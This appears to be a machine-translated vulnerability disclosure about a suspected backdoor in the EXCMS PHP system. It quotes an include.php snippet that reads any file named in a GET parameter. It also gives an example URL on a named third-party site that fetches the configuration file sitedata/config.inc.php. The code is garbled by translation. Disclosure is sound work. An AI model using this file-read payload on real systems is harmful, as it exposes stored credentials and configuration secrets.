EXCMS suspected brute-force Backdoor attacks

 

One day encounter Excms system, official website http://www.excms.cn/

 

Search for the excms vulnerability in GG and find that the author has a backdoor vulnerability in www.2cto.com/Article/201101/82338.html analysis.

 

Download the source code analysis to find another suspected backdoor Vulnerability (why? Because it cannot be determined, maybe there is such a programmer, haha ..)

 

Vulnerability files:

Apps/include. php-

Source code:

// Load the system configuration file-

Require_once ('../configuration/inc/common. inc. php ');

 

$ File = $ _ GET ['file'];

If ($ file! = ''& File_exists (EXCMS_PATH. $ file )){

Echo file_get_contents (EXCMS_PATH. $ file );

 

You don't have to read it...

Http://www.bkjia.com/apps/include. php? File = sitedata/config. inc. php

 

Fix: Needless to say